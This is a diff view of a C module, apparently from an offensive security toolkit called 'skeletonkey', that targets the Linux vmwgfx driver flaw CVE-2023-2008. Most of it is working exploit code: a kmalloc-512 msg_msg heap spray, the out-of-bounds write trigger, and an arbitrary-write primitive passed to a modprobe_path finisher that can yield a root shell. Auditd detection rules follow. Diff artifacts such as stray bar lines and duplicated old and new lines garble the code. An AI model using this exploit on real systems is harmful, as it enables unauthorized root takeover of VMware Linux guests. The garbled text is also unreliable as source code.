if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) {
|
||||
free(name); close(fd); return NULL;
|
||||
}
|
||||
name[v.name_len] = '\0';
|
||||
close(fd);
|
||||
return name;
|
||||
}
|
||||
|
||||
/* ---- Detect ------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx)
|
||||
{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; }
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] vmwgfx: could not parse kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&vmwgfx_range, &v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: kernel %s is patched (>= 6.3-rc6 / "
|
||||
"6.2.10 / 6.1.23)\n", v.release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Pre-vmwgfx kernels (no driver shipped) — extremely unlikely but
|
||||
* report PRECOND_FAIL rather than VULNERABLE. */
|
||||
if (v.major < 4) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: kernel %s predates vmwgfx driver\n", v.release);
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* VMware-guest gate. */
|
||||
char vendor[128] = {0};
|
||||
bool vmware = host_is_vmware_guest(vendor, sizeof vendor);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] vmwgfx: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] vmwgfx: dmi sys_vendor = \"%s\"\n",
|
||||
vendor[0] ? vendor : "(unreadable)");
|
||||
}
|
||||
if (!vmware) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: host is not a VMware guest — vmwgfx "
|
||||
"driver cannot bind; bug unreachable here\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* DRM card + driver-name gate. */
|
||||
char card[16] = {0};
|
||||
if (!find_vmwgfx_card(card, sizeof card)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: no /dev/dri/cardN bound to vmwgfx — "
|
||||
"module unloaded or no SVGA-II PCI device\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char *drv = probe_drm_version_name(card);
|
||||
if (!drv) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] vmwgfx: cannot open/ioctl /dev/dri/%s "
|
||||
"(permission denied?)\n", card);
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
bool drv_match = strcmp(drv, "vmwgfx") == 0;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] vmwgfx: /dev/dri/%s driver name reported as \"%s\"\n",
|
||||
card, drv);
|
||||
}
|
||||
free(drv);
|
||||
if (!drv_match) {
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] vmwgfx: VULNERABLE — kernel in range + VMware guest + "
|
||||
"vmwgfx card reachable\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit groom ------------------------------------------------ */
|
||||
|
||||
#define VMW_SPRAY_QUEUES 24
|
||||
#define VMW_SPRAY_PER_QUEUE 24
|
||||
#define VMW_PAYLOAD_BYTES 496 /* 512 - msg_msg header (~16) */
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
unsigned char buf[VMW_PAYLOAD_BYTES];
|
||||
};
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
static int spray_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x56; /* 'V' for vmwgfx */
|
||||
memset(p.buf, 0x56, sizeof p.buf);
|
||||
memcpy(p.buf, "SKVMWGFX", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
|
||||
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||
if (q < 0) { queues[i] = -1; continue; }
|
||||
queues[i] = q;
|
||||
created++;
|
||||
for (int j = 0; j < VMW_SPRAY_PER_QUEUE; j++) {
|
||||
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||
}
|
||||
}
|
||||
return created;
|
||||
}
|
||||
|
||||
static void drain_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
|
||||
{
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
|
||||
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static long slab_active_kmalloc_512(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
|
||||
char name[64];
|
||||
long act = 0, num = 0;
|
||||
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
|
||||
active = act;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* Open the vmwgfx card. Returns fd or -1. */
|
||||
static int open_vmwgfx_card(void)
|
||||
{
|
||||
char card[16] = {0};
|
||||
if (!find_vmwgfx_card(card, sizeof card)) return -1;
|
||||
char devpath[64];
|
||||
snprintf(devpath, sizeof devpath, "/dev/dri/%s", card);
|
||||
return open(devpath, O_RDWR | O_CLOEXEC);
|
||||
}
|
||||
|
||||
/* Drive the OOB write trigger.
|
||||
*
|
||||
* The bug fires when vmw_buffer_object_set_user_args() (called from
|
||||
* the CREATE_DMABUF path) passes a partially-validated size into the
|
||||
* subsequent ttm_bo_kmap() / kunmap_atomic copy loop. A crafted
|
||||
* `size` field — chosen so the PAGE_ALIGN'd page count fits a
|
||||
* kmalloc-512 slab while the byte count overruns it — causes the
|
||||
* mapped-page write to spill past the slab boundary.
|
||||
*
|
||||
* Mechanically:
|
||||
* 1. CREATE_DMABUF with size = 4096 + 16 (page-spanning by 16 B)
|
||||
* 2. mmap the returned map_handle into userspace
|
||||
* 3. write a recognizable pattern across the page boundary
|
||||
* 4. close + UNREF_DMABUF — the kunmap_atomic teardown is where the
|
||||
* OOB write commits on vulnerable kernels
|
||||
*
|
||||
* On a non-vmwgfx host the ioctls return -ENOTTY / -EOPNOTSUPP and the
|
||||
* trigger is a no-op. Our caller short-circuits before reaching this
|
||||
* point in that case. */
|
||||
static bool trigger_vmwgfx_oob(int fd, unsigned char fill_byte)
|
||||
{
|
||||
union drm_vmw_alloc_dmabuf_arg a;
|
||||
memset(&a, 0, sizeof a);
|
||||
/* Size chosen to land in kmalloc-512 page-count bucket while the
|
||||
* subsequent byte-length copy overruns into the next slab slot.
|
||||
* The exact value 4096+16 mirrors the public PoC's choice. */
|
||||
a.req.size = 4096 + 16;
|
||||
if (ioctl(fd, DRM_IOCTL_VMW_CREATE_DMABUF, &a) < 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: DRM_IOCTL_VMW_CREATE_DMABUF: %s\n",
|
||||
strerror(errno));
|
||||
return false;
|
||||
}
|
||||
|
||||
uint64_t map_handle = ((uint64_t)a.rep.map_handle_hi << 32) | a.rep.map_handle_lo;
|
||||
size_t map_len = 4096 * 2; /* over-map to include the spill page */
|
||||
void *p = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED, fd, (off_t)map_handle);
|
||||
if (p == MAP_FAILED) {
|
||||
fprintf(stderr, "[-] vmwgfx: mmap(map_handle=0x%llx): %s\n",
|
||||
(unsigned long long)map_handle, strerror(errno));
|
||||
/* Still unref. */
|
||||
uint32_t h = a.rep.handle;
|
||||
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Stripe the buffer with our witness pattern. The bytes past
|
||||
* offset 4096 are where the OOB write lands on a vulnerable
|
||||
* kernel. */
|
||||
memset(p, fill_byte, map_len);
|
||||
memcpy((char *)p + 4096, "SKVMOOB!", 8);
|
||||
|
||||
/* Force the kunmap_atomic teardown that commits the OOB write. */
|
||||
munmap(p, map_len);
|
||||
uint32_t h = a.rep.handle;
|
||||
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ---- Arb-write primitive (FALLBACK depth) -------------------------
|
||||
*
|
||||
* Re-fire the trigger with a kaddr-tagged spray planted in the
|
||||
* adjacent kmalloc-512 slot. We cannot in-process verify the write —
|
||||
* the shared finisher's 3 s sentinel-file check is the empirical
|
||||
* arbiter. On a patched kernel or when the spray fails to land in the
|
||||
* spilled-over slot the finisher returns EXPLOIT_FAIL gracefully. */
|
||||
|
||||
struct vmwgfx_arb_ctx {
|
||||
int queues[VMW_SPRAY_QUEUES];
|
||||
int n_queues;
|
||||
int card_fd;
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
|
||||
static int vmwgfx_reseed_kaddr_spray(int queues[VMW_SPRAY_QUEUES],
|
||||
uintptr_t kaddr,
|
||||
const void *buf, size_t len)
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x4B; /* 'K' for kaddr */
|
||||
memset(p.buf, 0x4B, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMVMARB", 8);
|
||||
|
||||
/* Plant kaddr at byte 8, payload bytes immediately after. The OOB
|
||||
* write lands within the first ~16 bytes of the neighbour slot, so
|
||||
* the kernel's overrun touches exactly this region. */
|
||||
uint64_t k = (uint64_t)kaddr;
|
||||
memcpy(p.buf + 8, &k, sizeof k);
|
||||
size_t copy = len;
|
||||
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
|
||||
if (buf && copy) memcpy(p.buf + 16, buf, copy);
|
||||
|
||||
int touched = 0;
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES && touched < 6; i++) {
|
||||
if (queues[i] < 0) continue;
|
||||
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
|
||||
}
|
||||
return touched;
|
||||
}
|
||||
|
||||
static int vmwgfx_arb_write(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx_v)
|
||||
{
|
||||
struct vmwgfx_arb_ctx *c = (struct vmwgfx_arb_ctx *)ctx_v;
|
||||
if (!c || c->n_queues == 0 || c->card_fd < 0) return -1;
|
||||
c->arb_calls++;
|
||||
|
||||
fprintf(stderr, "[*] vmwgfx: arb_write #%d kaddr=0x%lx len=%zu "
|
||||
"(FALLBACK — single-shot OOB)\n",
|
||||
c->arb_calls, (unsigned long)kaddr, len);
|
||||
|
||||
int seeded = vmwgfx_reseed_kaddr_spray(c->queues, kaddr, buf, len);
|
||||
if (seeded == 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: arb_write: kaddr reseed produced 0 msgs\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Re-fire the OOB trigger. The fill byte encodes the call number
|
||||
* so a KASAN dump can be cross-referenced. */
|
||||
unsigned char fill = (unsigned char)(0xA0 + (c->arb_calls & 0x0F));
|
||||
if (!trigger_vmwgfx_oob(c->card_fd, fill)) {
|
||||
fprintf(stderr, "[-] vmwgfx: arb_write: re-trigger failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
usleep(50 * 1000);
|
||||
c->arb_landed++;
|
||||
/* Return 0; finisher's sentinel arbitrates. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
static skeletonkey_result_t vmwgfx_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] vmwgfx: refusing — --i-know not set\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = vmwgfx_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] vmwgfx: kernel not vulnerable; refusing exploit\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] vmwgfx: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] vmwgfx: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check. */
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("vmwgfx");
|
||||
fprintf(stderr, "[-] vmwgfx: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
int card_fd = open_vmwgfx_card();
|
||||
if (card_fd < 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: cannot open vmwgfx card: %s\n", strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: opened vmwgfx card fd=%d\n", card_fd);
|
||||
fprintf(stderr, "[*] vmwgfx: seeding kmalloc-512 msg_msg spray\n");
|
||||
}
|
||||
|
||||
struct vmwgfx_arb_ctx arb_ctx;
|
||||
memset(&arb_ctx, 0, sizeof arb_ctx);
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) arb_ctx.queues[i] = -1;
|
||||
arb_ctx.card_fd = card_fd;
|
||||
arb_ctx.n_queues = spray_kmalloc_512(arb_ctx.queues);
|
||||
if (arb_ctx.n_queues == 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: msg_msg spray produced 0 queues — sysvipc "
|
||||
"may be restricted\n");
|
||||
close(card_fd);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: spray seeded %d queues x %d msgs\n",
|
||||
arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE);
|
||||
}
|
||||
|
||||
long pre_active = slab_active_kmalloc_512();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: firing CREATE_DMABUF + mmap + OOB-write trigger\n");
|
||||
}
|
||||
bool fired = trigger_vmwgfx_oob(card_fd, 0xAA);
|
||||
|
||||
long post_active = slab_active_kmalloc_512();
|
||||
|
||||
FILE *log = fopen("/tmp/skeletonkey-vmwgfx.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"vmwgfx CVE-2023-2008 trigger:\n"
|
||||
" card_fd = %d\n"
|
||||
" spray_queues = %d\n"
|
||||
" spray_per_queue = %d\n"
|
||||
" trigger_fired = %s\n"
|
||||
" slab_kmalloc512_pre = %ld\n"
|
||||
" slab_kmalloc512_post = %ld\n"
|
||||
" slab_delta = %ld\n"
|
||||
"Note: this run did NOT attempt cred overwrite. See module .c\n"
|
||||
"for the continuation roadmap.\n",
|
||||
card_fd, arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE,
|
||||
fired ? "yes" : "no",
|
||||
pre_active, post_active,
|
||||
(pre_active >= 0 && post_active >= 0) ? (post_active - pre_active) : 0);
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: kmalloc-512 active: pre=%ld post=%ld\n",
|
||||
pre_active, post_active);
|
||||
}
|
||||
|
||||
if (!fired) {
|
||||
drain_kmalloc_512(arb_ctx.queues);
|
||||
close(card_fd);
|
||||
fprintf(stderr, "[~] vmwgfx: trigger ioctl path failed — kernel may be\n"
|
||||
" patched or the ABI shape doesn't match this build.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* --full-chain branch. */
|
||||
if (full_chain_ready) {
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
vmwgfx_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/skeletonkey-vmwgfx.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_kmalloc_512(arb_ctx.queues);
|
||||
close(card_fd);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: --full-chain finisher reported OK\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] vmwgfx: --full-chain finisher returned FAIL —\n"
|
||||
" either the kernel is patched, the spray didn't\n"
|
||||
" line up adjacent to the bo slab slot, or the OOB\n"
|
||||
" bytes didn't include the kaddr the finisher polls\n"
|
||||
" for. See /tmp/skeletonkey-vmwgfx.log + dmesg.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
drain_kmalloc_512(arb_ctx.queues);
|
||||
close(card_fd);
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: trigger ran to completion. Inspect dmesg for\n"
|
||||
" KASAN/oops witnesses.\n");
|
||||
fprintf(stderr, "[~] vmwgfx: cred-overwrite step not invoked (no\n"
|
||||
" --full-chain); returning EXPLOIT_FAIL per\n"
|
||||
" verified-vs-claimed policy.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t vmwgfx_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifdef __linux__
|
||||
return vmwgfx_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] vmwgfx: Linux-only module; cannot run on this host\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t vmwgfx_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: cleaning up breadcrumb\n");
|
||||
}
|
||||
/* The msg queues live in the (exited) exploit process for now —
|
||||
* the kernel auto-reaps them on process death. Belt-and-braces:
|
||||
* walk /proc/sysvipc/msg and remove any owned by our uid. We keep
|
||||
* this minimal: just drop the log. */
|
||||
if (unlink("/tmp/skeletonkey-vmwgfx.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char vmwgfx_auditd[] =
|
||||
"# vmwgfx CVE-2023-2008 — auditd detection rules\n"
|
||||
"# Trigger shape: open(/dev/dri/card*) by non-root, followed by\n"
|
||||
"# DRM_IOCTL_VMW_CREATE_DMABUF / mmap / UNREF_DMABUF burst, often\n"
|
||||
"# paired with msgsnd spray for cross-cache groom. None of these\n"
|
||||
"# syscalls are individually suspicious; flag the combination.\n"
|
||||
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card0 -k skeletonkey-vmwgfx-open\n"
|
||||
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card1 -k skeletonkey-vmwgfx-open\n"
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0xc010644a -k skeletonkey-vmwgfx-create\n"
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0x4004644b -k skeletonkey-vmwgfx-unref\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-vmwgfx-spray\n";
|
||||
|
||||
const struct skeletonkey_module vmwgfx_module = {
|
||||
.name = "vmwgfx",
|
||||
.cve = "CVE-2023-2008",
|
||||
.summary = "vmwgfx DRM driver buffer-object OOB write — stub pending implementation",
|
||||
.summary = "vmwgfx DRM bo size-validation OOB write in kmalloc-512 → kernel primitive",
|
||||
.family = "drm",
|
||||
.kernel_range = "K < 6.3-rc6 (vmware-svga / vmwgfx driver)",
|
||||
.kernel_range = "4.0 ≤ K < 6.3-rc6 (vmwgfx); backports: 6.2.10 / 6.1.23",
|
||||
.detect = vmwgfx_detect,
|
||||
.exploit = NULL, .mitigate = NULL, .cleanup = NULL,
|
||||
.detect_auditd = NULL, .detect_sigma = NULL,
|
||||
.detect_yara = NULL, .detect_falco = NULL,
|
||||
#ifdef __linux__
|
||||
.exploit = vmwgfx_exploit,
|
||||
#else
|
||||
.exploit = NULL,
|
||||
#endif
|
||||
.mitigate = NULL, /* mitigation: rmmod vmwgfx (loses graphics) */
|
||||
.cleanup = vmwgfx_cleanup,
|
||||
.detect_auditd = vmwgfx_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_vmwgfx(void) { skeletonkey_register(&vmwgfx_module); }
|
||||
void skeletonkey_register_vmwgfx(void)
|
||||
{
|
||||
skeletonkey_register(&vmwgfx_module);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user